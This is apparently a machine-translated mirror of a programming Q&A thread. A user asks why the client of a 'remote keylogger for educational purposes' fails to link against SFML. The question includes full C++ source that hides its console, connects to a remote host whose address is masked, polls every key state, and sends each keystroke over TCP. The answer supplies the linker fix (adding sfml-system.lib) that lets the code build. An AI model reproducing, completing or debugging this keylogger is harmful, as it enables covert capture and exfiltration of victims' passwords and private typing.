未解析的外部符号sf ::时间与SFML

时间:2017-05-30 20:30:50

标签: c++ sfml

所以我正在为远程键盘记录工作教育目的。出于某种原因,当我尝试编译客户端时,我收到此错误(我使用SFML):

Error   LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)

奇怪的是服务器编译得很好并且它使用相同的库。我无数次检查我的链接器设置,甚至尝试创建一个新项目,但没有成功。

以下是代码:

#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>

void ConnectToHost(sf::TcpSocket* socket)
{
    sf::Socket::Status status = socket->connect("*****", ***);

    if (status != sf::Socket::Done)
        std::cout << "Error connecting to socket." << std::endl;

    return;
}

int main()
{
    FreeConsole();

    sf::TcpSocket socket;
    ConnectToHost(&socket);

    while (1)
    {
        for (char key = 8; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                char key_sent[50] = { key };
                socket.send(key_sent, sizeof(key_sent));
            }
        }
    }
    return 0;
}

我目前正在将sfml-network-d.lib链接到debug并将sfml-network.lib链接到发布,但是我也尝试将所有sfml动态链接库链接起来,这样就无法使用#39与它有任何关系。无论如何,我认为这只是一个我已经被忽视或忽视的粗心错误,但是因为我现在已经调查了几天,所以我想把它发布为一个问题。

1 个答案:

答案 0 :(得分:4)

您的错误表明您的代码没有任何问题,这是链接的问题。您正在链接到sfml-network.lib,但您需要链接到sfml-system.lib才能获得sf :: Time。

sfml-network.lib只为您提供:Ftp,Http,IpAddress,Packet,Socket,SocketSelector,TcpListener,TcpSocket,UdpSocket。

SFML-network依赖于here所描述的SFML系统。每当使用SFML网络时,您都需要显式链接到SFML系统。

另一个快速说明是您提到了链接到动态链接库。您不应该链接到任何DLL,您链接的.lib实际上允许您导入这些DLL。如果你想做相反的事情(静态链接),那么你需要链接到* -s.lib变种。